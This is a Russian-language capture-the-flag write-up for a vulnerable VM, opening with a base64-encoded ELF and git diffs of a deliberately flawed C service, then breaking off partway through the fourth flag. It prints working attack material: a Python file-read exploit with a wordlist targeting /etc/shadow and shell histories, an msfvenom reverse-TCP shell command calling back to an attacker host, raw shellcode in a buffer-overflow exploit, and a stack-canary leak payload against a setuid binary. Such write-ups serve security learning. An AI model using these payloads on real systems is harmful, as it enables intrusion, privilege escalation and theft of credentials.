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
+QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEQAAAAAAAAAAAAAAAAAAAAAAAAwAKAKAEQAAAAAAAAAAA
+AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAAAAAAAAAAAAAAwAMAKAFQAAAAAAAAAAAAAAAAAAAAAAA
+AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAAwAOAFAGQAAAAAAAAAAAAAAAAAAAAAAAAwAPAPQJQAAA
+AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAAAAAAAAAAAAAAAAAAAAAAwARAAwKQAAAAAAAAAAAAAAA
+AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAAAAAAAAAAwATAGALYAAAAAAAAAAAAAAAAAAAAAAAAwAU
+AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVAHALYAAAAAAAAAAAAAAAAAAAAAAAAwAWAHgLYAAAAAAA
+AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAAAAAAAAAAAAAAAAAAwAYAFANYAAAAAAAAAAAAAAAAAAA
+AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAAAAAAwAaAMANYAAAAAAAAAAAAAAAAAAAAAAAAwAbAAAA
+AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAHALYAAAAAAAAAAA
+AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAAAAAAAAbAAAAAgAOAMAGQAAAAAAAAAAAAAAAAAAuAAAA
+AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAAQAaAMgNYAAAAAAAAQAAAAAAAABTAAAAAQAUAGgLYAAA
+AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAAAAAAAAAAAAAAACGAAAAAQATAGALYAAAAAAAAAAAAAAA
+AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS
+AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVAHALYAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAA
+AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAAAAAAAAAAADYAAAAAQAWAHgLYAAAAAAAAAAAAAAAAADh
+AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0AAAAAAARAAwKQAAAAAAAAAAAAAAAAAAHAQAAAQAYAFAN
+YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJQAAAAAAAAgAAAAAAAAAtAQAAIAAAAAAAAAAAAAAAAAAA
+AAAAAABJAQAAEQAaAMANYAAAAAAACAAAAAAAAAD6AQAAIAAZALANYAAAAAAAAAAAAAAAAABdAQAA
+EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAEgAPAPQJQAAAAAAAAAAAAAAAAABkAQAAEgAAAAAAAAAA
+AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAAAAAAAAAAAAAAACMAQAAEgAAAAAAAAAAAAAAAAAAAAAA
+AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAC0AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADGAQAAEgAA
+AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD4AQAAEAAZALANYAAAAAAA
+AAAAAAAAAAAFAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAgAAEQIZALgNYAAAAAAAAAAAAAAAAAAh
+AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAA0AgAAEQAQAAAKQAAAAAAABAAAAAAAAABDAgAAEgAOAIAJ
+QAAAAAAAZQAAAAAAAADTAAAAEAAaANgPYAAAAAAAAAAAAAAAAAD+AQAAEgAOAFAGQAAAAAAAKgAA
+AAAAAABTAgAAEAAaAMANYAAAAAAAAAAAAAAAAABfAgAAEgAOAPcIQAAAAAAAfAAAAAAAAABkAgAA
+EgAAAAAAAAAAAAAAAAAAAAAAAAB3AgAAIAAAAAAAAAAAAAAAAAAAAAAAAACLAgAAEgAOAEYHQAAA
+AAAAsQEAAAAAAACZAgAAEQIZAMANYAAAAAAAAAAAAAAAAAClAgAAIAAAAAAAAAAAAAAAAAAAAAAA
+AAC/AgAAEQAaAOANYAAAAAAA9AEAAAAAAABNAgAAEgALAHgFQAAAAAAAAAAAAAAAAAAAY3J0c3R1
+ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNf
+YXV4AGNvbXBsZXRlZC42OTc5AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5
+AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBjdGZ0cC5jAF9fRlJB
+TUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJy
+YXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNf
+Y3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN0ZG91dEBAR0xJQkNfMi4yLjUA
+X2VkYXRhAHN0cmxlbkBAR0xJQkNfMi4yLjUAc2V0YnVmQEBHTElCQ18yLjIuNQBwcmludGZAQEdM
+SUJDXzIuMi41AG1lbXNldEBAR0xJQkNfMi4yLjUAcmVhZEBAR0xJQkNfMi4yLjUAX19saWJjX3N0
+YXJ0X21haW5AQEdMSUJDXzIuMi41AGZnZXRzQEBHTElCQ18yLjIuNQBfX2RhdGFfc3RhcnQAX19n
+bW9uX3N0YXJ0X18AX19kc29faGFuZGxlAG1lbWNweUBAR0xJQkNfMi4xNABfSU9fc3RkaW5fdXNl
+ZABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBmb3BlbkBAR0xJQkNfMi4yLjUAX0p2
+X1JlZ2lzdGVyQ2xhc3NlcwBwYXJzZV9yZXF1ZXN0AF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU
+TUNsb25lVGFibGUAdG9fd3JpdGUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAu
+bm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3Ry
+AC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5w
+bHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRf
+YXJyYXkALmZpbmlfYXJyYXkALmpjcgAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21t
+ZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAAACQAAAAAAAAAIAAAAAAAAcAAAAAAAAAAAA
+AAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAAAcAkAAAAAAABwCAAAAAAAAIAAA
+AAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIAAAAAAAAAPAJAAAAAAAA8AgAA
+AAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAPb//28CAAAAAAAAAGACQAAA
+AAAAYAIAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAAAAAAAE4AAAALAAAAAgAAAAAA
+AACIAkAAAAAAAIgCAAAAAAAAIAEAAAAAAAAGAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABWAAAAAwAA
+AAIAAAAAAAAAqANAAAAAAACoAwAAAAAAAH4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
+XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAAAYAAAAAAAAAAUAAAAAAAAAAgAAAAAAAAAC
+AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAAAMAAAAAAAAAAGAAAAAQAAAAgA
+AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAcARAAAAAAABwBAAAAAAAADAAAAAAAAAABQAA
+AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAKAEQAAAAAAAoAQAAAAAAADYAAAA
+AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAAAAAAAAB4BUAAAAAAAHgFAAAA
+AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAAAQAAAAYAAAAAAAAAoAVAAAAA
+AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAlAAAAAEAAAAGAAAAAAAA
+AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA
+BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACj
+AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0CQAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAA
+AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKQAAAAAAAAAoAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAA
+AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAAAAAAAAMCkAAAAAAAAwKAAAAAAAAPAAAAAAAAAAAAAAA
+AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABICgAAAAAAABQBAAAA
+AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAyQAAAA4AAAADAAAAAAAAAGALYAAAAAAAYAsAAAAA
+AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANUAAAAPAAAAAwAAAAAAAABoC2AAAAAA
+AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADhAAAAAQAAAAMAAAAAAAAA
+cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA5gAAAAYAAAAD
+AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQAQAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAJgA
+AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAA
+AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gAAAAAABQDQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
+AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsA0AAAAAAAAQAAAAAAAAAAAAAAAA
+AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIAAAAAwAAAAAAAADADWAAAAAAAMANAAAAAAAAGAIAAAAA
+AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA
+ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA
+6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAA
+AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeAAAALwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAA
+AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA

commit 9b5c226d15d611d6957f3fda7c993186270a6cc4
Author: alice <alice@baffle.me>
Date:   Mon Oct 17 14:52:40 2016 -0400

    Made it into a write-type-thing instead

diff --git a/hellofriend.c b/hellofriend.c
index d5cbbf9..10a4d9e 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -2,29 +2,37 @@
 #include <string.h>
 #include <unistd.h>
 
+char to_write[500]; 
+
 int parse_request(char *req, int n) {
+    char data[500]; 
     char file[500]; 
     char file_content[500]; 
     int file_len; 
+    int req_type; 
+    char mode[10];
     char *ptr = req; 
     FILE *fp;
     
     memset(file, 0, sizeof(file)); 
+    memset(mode, 0, sizeof(mode)); 
+
+    memset(data, 0, sizeof(data)); 
+    memset(to_write, 0, sizeof(to_write)); 
+
+    ptr = (char *)ptr + 2; 
+    file_len = strlen(ptr); 
+
+    ptr = (char *)ptr + file_len + 1;
+    ptr = (char *)ptr + 6;
 
-    ptr = (char *)ptr + 2;
-    FiLe_len = n - 2 - 5 - 2; 
-    memcpy(file, ptr, file_len); 
+    memcpy(to_write, ptr, 500); 
+    memcpy(data, ptr, 2000); 
 
-    fp = fopen(file, "r"); 
-    if (fp) {
-        memset(file_content, 0, sizeof(file_content)); 
-        fgets(file_content, sizeof(file_content), fp); 
-        printf("%s", file_content); 
-    }
     return 0; 
 }
 
-int mAin(int arGc, char *argv[]) {
+int main(int argc, char *argv[]) {
     char buf[2000];
     int n; 
 
@@ -32,7 +40,7 @@ int mAin(int arGc, char *argv[]) {
 
     memset(buf, 0, sizeof(buf)); 
     n = read(0, buf, sizeof(buf)); 
-    p{ARSE_REQUEST}(buf, n);
+    parse_request(buf, n);
 
     return 0; 
 }

commit 06483346fab91b2b17471074a887ac7dffd9ceda
Author: alice <alice@baffle.me>
Date:   Mon Oct 17 14:44:25 2016 -0400

    My cat danced on the keyboard

diff --git a/hellofriend.c b/hellofriend.c
index c2c9046..d5cbbf9 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -12,7 +12,7 @@ int parse_request(char *req, int n) {
     memset(file, 0, sizeof(file)); 
 
     ptr = (char *)ptr + 2;
-    file_len = n - 2 - 5 - 2; 
+    FiLe_len = n - 2 - 5 - 2; 
     memcpy(file, ptr, file_len); 
 
     fp = fopen(file, "r"); 
@@ -24,7 +24,7 @@ int parse_request(char *req, int n) {
     return 0; 
 }
 
-int main(int argc, char *argv[]) {
+int mAin(int arGc, char *argv[]) {
     char buf[2000];
     int n; 
 
@@ -32,7 +32,7 @@ int main(int argc, char *argv[]) {
 
     memset(buf, 0, sizeof(buf)); 
     n = read(0, buf, sizeof(buf)); 
-    parse_request(buf, n);
+    p{ARSE_REQUEST}(buf, n);
 
     return 0; 
 }

commit 7edc47a1c3e4dc880a7191915bdbf1565c6b7441
Author: alice <alice@baffle.me>
Date:   Mon Oct 17 14:37:14 2016 -0400

    This coder turned coffee into code. You won't believe how she did it!

diff --git a/hellofriend.c b/hellofriend.c
index 21c5a19..c2c9046 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -3,10 +3,26 @@
 #include <unistd.h>
 
 int parse_request(char *req, int n) {
-    return 0; 
-}
+    char file[500]; 
+    char file_content[500]; 
+    int file_len; 
+    char *ptr = req; 
+    FILE *fp;
+    
+    memset(file, 0, sizeof(file)); 
 
+    ptr = (char *)ptr + 2;
+    file_len = n - 2 - 5 - 2; 
+    memcpy(file, ptr, file_len); 
 
+    fp = fopen(file, "r"); 
+    if (fp) {
+        memset(file_content, 0, sizeof(file_content)); 
+        fgets(file_content, sizeof(file_content), fp); 
+        printf("%s", file_content); 
+    }
+    return 0; 
+}
 
 int main(int argc, char *argv[]) {
     char buf[2000];

commit d7a1f067a2f4ac469bc4cf77c689a34e2286b665
Author: alice <alice@baffle.me>
Date:   Mon Oct 17 14:30:20 2016 -0400

    Hello, friend...

diff --git a/hellofriend.c b/hellofriend.c
new file mode 100644
index 0000000..21c5a19
--- /dev/null
+++ b/hellofriend.c
@@ -0,0 +1,22 @@
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+int parse_request(char *req, int n) {
+    return 0; 
+}
+
+
+
+int main(int argc, char *argv[]) {
+    char buf[2000];
+    int n; 
+
+    setbuf(stdout, 0); 
+
+    memset(buf, 0, sizeof(buf)); 
+    n = read(0, buf, sizeof(buf)); 
+    parse_request(buf, n);
+
+    return 0; 
+}


Если внимательно присмотреться на коммит My cat danced on the keyboard, то он очень не похож на кошку, которая прошлась по клавиатуре. Заменены лишь некоторые символы. Попробовав извлечь эти изменения, замечаем закономерность, а вместе с ней и флаг:
+FiLe_len = n — 2 — 5 — 2;
+int mAin(int arGc, char *argv[]) {
+p{ARSE_REQUEST}(buf, n);

FLAG{ARSE_REQUEST}

P.S. Где тут реверс, спросите вы? Вот вам реверс, первый флаг был отвлекающей разминкой :)

Flag 2 (alice)


Помимо флага, из лога узнаём, что пользователь alice создала, и удалила некий файл: project.enc. Отменяем последний коммит, дабы вернуть этот файл:
$ git revert HEAD
$ ls
hellofriend.c  project.enc

Содержимое файла явно напоминает base64, поэтому отправляем его на сайт, и конвертируем обратно в бинарный вид.
$ file *
base64.bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=8d8f87535451003b05db15d14d07818576813b49, not stripped


Посмотрим что внутри, открыв файл в IDA. Внимательно присмотревшись, можно заметить, что в этом файле объединены все правки, что были внесены в git проект. После небольших правок, вот так выглядит функция main:

Тут происходит считывание 2000 символов, которые передаются затем в функцию parse_request:

Функция parse_request, в случае, если второй байт равен 0x01, читает первые 500 байт из файла, либо если второй байт равен 0x02, то копирует полученную строку в буфер.

При этом прослеживаются 2 уязвимости и 1 ошибка:

  1. Просмотр файлов
  2. Выход за границы массива
  3. Переполнение буфера

Остановимся пока на первой, и создадим скрипт на Python для её эксплуатации:
#!/usr/bin/python
import socket
import time
import sys

port = 6969
host = "192.168.1.190"

def readFile(fPath):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        action_byte = "\x01"
        shell = "0" + action_byte + fPath + "000000"
        s.send(('%s\n' %(shell)).encode())
        time.sleep(0.3)
        try:
                data = s.recv(1024)
                if len(data) != 0:
                        print("File: %s found" %(fPath))
                        print(data)
                s.close()
        except: pass

ext = ['', '.txt']
words = open(sys.argv[1], 'r').read().splitlines()
for item in words:
        for e in ext:
                fPath = '%s%s' %(item, e)
                readFile(fPath)

На основе полученной информации, сгенерируем небольшой словарь для перебора доступных файлов:
Словарь
/home/alice/flag
/flag
/home/flag
/var/www/html/flag
/var/www/flag
/home/alice/.bash_history
/root/flag
/etc/shadow
/root/.bash_history

После запуска, получаем первый флаг:
$ ./exploit.py dict.lst 
File: /flag.txt found
FLAG{is_there_an_ivana_tinkle}


Flag 3 (bob)


Судя по тому, что содержимое /etc/shadow, он нам не выдал, видимо сервис запущен от имени какого-то пользователя.

Чтение файлов это хорошо, но есть ещё выход за границы и переполнение буфера.

Тут следует учесть, что функция strlen, согласно спецификации, возвращает количество символов, до первого вхождения нуль терминатора. Следовательно, дополнив входную строку 7 символами нуль терминатора, можно обойти выход за границы. Проверим это:

$ python -c 'print("\x02\x02" + "A"*20 + "\x00"*7 + "123456B"*200)' | ltrace ./base64.bin

Как видно, strlen вернула 20, а в буфер data было скопировано всё начиная с «123456B».

Осталось найти смещение, по которому в стеке расположен адрес возврата, и переписать его. Перезаписывать будем адресом 0x600de0, по которому расположен массив to_write. Отыскать адрес возврата можно следующей командой:

$ python -c 'print("\x02\x02" +"A"*20 + "\x00"*7 + "A"*536 + "\xe0\x0d\x60\x00\x00\x00" + "\x00"*2000)' | gdb -ex "run" -ex "q" ./base64.bin

P.S. Значение 536 было получено экспериментально, в ходе подбора, с учётом того, что конечный буфер имеет размер 500 байт.

Всё необходимое для написание эксплоита имеется, пора к этому приступить. Воспользовавшись msfvenom из набора Metaspoit Framework, сгенерим шелл:

$ sudo msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d" > exploit2.py

Запускаем хендлер:

Немного подредактируем файл exploit2.py:

exploit2.py
#!/usr/bin/python
import socket
import time
import sys
import struct

port = 6969
host = "192.168.1.190"

bypass = "\x02\x02" + "A"*20 + "\x00"*7
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x8b\xe0\xc2\x5c\x5b\xbf\x3d"
buf += "\x9b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\xc3\xd1\x3d\x36\x52\xe7\xa4\x2d\x9b\xa8\x4b\x8a\x16"
buf += "\x8e\xf4\xf1\xa9\xa1\x98\xee\x5c\xb0\x38\xcd\xdb\x8a"
buf += "\xeb\x04\xc2\xd5\x3f\xc4\xe1\xe1\x9c\x53\x5e\xf7\xaa"
buf += "\xd3\x32\xe2\xc2\x7b\x54\x7f\x95\x9a\xf7\xb1\x8a\xd5"
buf += "\xbd\xd5\x2d\xc1\xe1\xca\x9a\x53\x5e\xe6\x63\xc1\x84"
buf += "\xe5\x3d\xba\x5b\xbf\x3d\x9b"
payload = bypass + buf + "\x90"*(536-len(buf))
payload += "\xe0\x0d\x60\x00\x00\x00\x00\x00" + "\x00"*2000

def bof():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.close()
        w = open('payload', 'wb')
        w.write(payload)
        w.close()

bof()


И после запуска, получаем долгожданный шелл:
$ python2 ./exploit2.py

Попробуем найти ещё флаги:

find / -name flag.txt 2>/dev/null
/home/bob/filez/flag.txt
/flag.txt

Заглянув в директорию с флагом, становится понятно, что и тут без реверса не обойтись:
ls -ahl /home/bob/filez
total 24K
drwxr-xr-x 2 charlie charlie 4.0K Oct 25 04:07 .
drwxr-xr-x 5 bob     bob     4.0K Oct 25 04:21 ..
-r--r----- 1 charlie charlie   50 Oct 25 03:51 auth.txt
-r--r----- 1 charlie charlie   29 Oct 23 08:06 flag.txt
-rwsr-xr-x 1 charlie charlie 6.7K Oct 25 03:45 flag_vault

Ок, скачиваем flag_vault для дальнейшего анализа. Заодно проверим наличие ASLR на удалённой машине:
cat /proc/sys/kernel/randomize_va_space
2

Файл скачан, и как оказалось имеет защиту:
$ gdb -q ./flag_vault
Reading symbols from ./flag_vault...(no debugging symbols found)...done.
gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$ 

В IDA этот файл выглядит следующим образом:

Тут стоит сказать, что есть 2 пути взятия флага: лёгкий, и более сложный. Рассмотрим их оба:

1. Путь читера


Как можно заметить, пути к файлам указаны относительно. Это значит, что мы можем создать в домашней директории пользователя alice, файл auth.txt со своим проверочным кодом, и рядом создать ссылку на оригинальный файл /home/bob/filez/flag.txt

Далее, перейдя в директорию /home/alice, запускаем файл /home/bob/filez/flag_vault, вводим свой код, который сверяется с нашим файлом auth.txt и получаем флаг:

2. Путь настоящего реверс инженера


После долгих поисков, я наткнулся на уязвимость в функции __stack_chk_fail. Судя по описанию это как раз наш случай, осталось найти смещение по которому располагается argv[0] и попытаться его переписать. Запускаем этот бинарник в peda:

При запуске под отладкой, заметно, что ближайшее расположение argv[0] можно найти по адресу: 0xbffff794.

   0x08048730 <+293>:   lea    eax,[ebp-0x110]
   0x08048736 <+299>:     push   eax
   0x08048737 <+300>:     push   0x0
   0x08048739 <+302>:     call   0x8048460 <read@plt>


Функция read начинает заполнять стек со смещения ebp-272, зная это не трудно высчитать смещение: (0xbffff794 — 0xbffff6e8 — 272) = 444 символа, достигнув которого, удастся переписать argv[0].

Отлично, теперь теоретически мы можем читать память текущего процесса. Если взглянуть на код, то можно заметить, что чтение файлов происходит в статические переменные:

.text:080486E8                 push    offset modes    ; "r"
.text:080486ED                 push    offset aAuth_txt ; "auth.txt"
.text:080486F2                 call    _fopen
.text:080486F7                 add     esp, 16
.text:080486FA                 mov     [ebp+var_114], eax
.text:08048700                 sub     esp, 4
.text:08048703                 push    [ebp+var_114]   ; stream
.text:08048709                 push    60              ; n
.text:0804870B                 push    8049CE0h        ; pass
.text:08048710                 call    _fgets

В данном случае, наибольший интерес будет представлять значение по адресу 0x8049CE0, так как именно туда считывается содержимое файла auth.txt.

Проверим это:

python -c 'import struct;print("A"*20 + "\x00"*424 + struct.pack("<I",0x8049CE0))' | ./flag_vault

Отлично, пароль у нас, можно доставать флаг:

Flag 4 (charlie)


После долгих попыток повысить привилегии через это приложение, а так же поиска других вариантов, я вбил команду:
find / -user alice 2>/dev/null | grep -v proc
/home/alice
/home/alice/ctftp
/home/alice/.profile
/home/alice/auth.txt
/home/alice/.bash_history
/home/alice/.bashrc
/home/alice/flag.txt
/home/alice/.bash_logout
/var/mail/alice
